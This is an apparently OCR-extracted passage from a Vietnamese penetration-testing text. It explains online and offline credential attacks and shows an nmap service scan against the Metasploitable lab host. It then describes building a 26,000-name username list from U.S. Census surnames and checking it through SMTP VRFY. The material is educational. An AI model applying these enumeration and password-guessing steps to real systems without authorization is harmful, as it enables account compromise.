Cuộc tấn công thông tin xác thực trực tuyến là những gì được thực hiện khi đang


nhắm mục tiêu các giao diện hoặc tài nguyên để xác thực một cách cưỡng bức. Điều này
có nghĩa là bạn có thể không biết tên người dùng, mật khẩu, hoặc cả hai và đang cố gắng
xác định thơng tin chính xác sẽ cấp cho bạn quyền truy cập. Các cuộc tấn công này được
thực hiện khi khơng có quyền truy cập vào tài nguyên sẽ cung cấp hàm băm, mật khẩu
văn bản rõ ràng hoặc các dạng dữ liệu được bảo vệ khác. Thay vào đó, cuộc tấn cơng
đang cố gắng đưa ra các phỏng đoán đối với một tài nguyên dựa trên nghiên cứu đã thực
hiện. Các loại tấn công trực tuyến bao gồm dictionary, brute force và tấn công mật khẩu
23


spray. Hãy nhớ rằng tài nguyên có thể là một phần của hệ thống liên kết hoặc tập trung
như Active Directory (AD) hoặc tài khoản cục bộ trên chính máy chủ.
3.1.2 Defining the offline credential attack
Tấn công thông tin xác thực ngoại tuyến là khi đã bẻ khóa tài nguyên và trích xuất
dữ liệu chẳng hạn như các băm và hiện đang cố gắng đốn chúng. Điều này có thể được
thực hiện trong một số lượng cách khác nhau, tùy thuộc vào loại băm và tài nguyên có
sẵn, một số các ví dụ bao gồm từ điển ngoại tuyến, các cuộc tấn công dựa trên quy tắc,
brute force hoặc bảng rainbow. Một trong những lý do gọi đây là các cuộc tấn cơng thơng
tin xác thực ngoại tuyến thay vì ngoại tuyến mật khẩu tấn công, là do cuộc tấn cơng đang
cố gắng đốn phiên bản văn bản rõ ràng của mật khẩu trên một hệ thống mà nó khơng có
nguồn gốc.
3.2 Identifying the target
Ví dụ về Metasploitable, vì nó sẽ cho phép kiểm tra những khái niệm này trong
một mơi trường an tồn và hợp pháp. Để bắt đầu, hãy quét nmap đơn giản của hệ thống
với một phát hiện dịch vụ. Lệnh sau làm nổi bật các đối số và tùy chọn, SYN quét tìm
kiếm các cổng nổi bật trên hệ thống.
nmap -sS -vvv -Pn -sV
Như có thể thấy từ kết quả, máy chủ được xác định là Metasploitable và một số
các cổng được mở để bao gồm Simple Mail Transfer Protocol (SMTP) tại cổng 25.


24


3.3 Creating targeted usernames
3.3.1 Generating and verifying usernames with help from the U.S. census
Nếu đã từng xem xét các thành phần của tên người dùng của hầu hết các tổ chức,
thì đây là chữ cái đầu tiên của họ và tên. Khi hai thành phần này kết hợp, nó tạo ra một
tên người dùng. Sử dụng danh sách 1000 hàng đầu của U.S. Census, có thể gian lận
phương pháp tạo bằng cách tải xuống danh sách trích xuất họ và thêm vào mỗi chữ cái
trong bảng chữ cái để tạo 26 tên người dùng cho mỗi họ. Quá trình này sẽ tạo ra một
danh sách 26.000 tên người dùng không bao gồm các chi tiết của thơng tin có nguồn gốc
công khai.
Khi kết hợp danh sách tên người dùng được tạo bằng cách tìm kiếm trên mạng xã
hội và sử dụng các công cụ để xác định địa chỉ e-mail, có thể có một danh sách đáng kể.
Vì vậy, sẽ cần phải cắt nó xuống. Trong ví dụ này, cách trích xuất chi tiết từ Excel bảng
tính sử dụng Python, sau đó xác minh tên người dùng được tạo và kết hợp bởi danh sách
chống lại dịch vụ SMTP với VRFY đang chạy.

25


×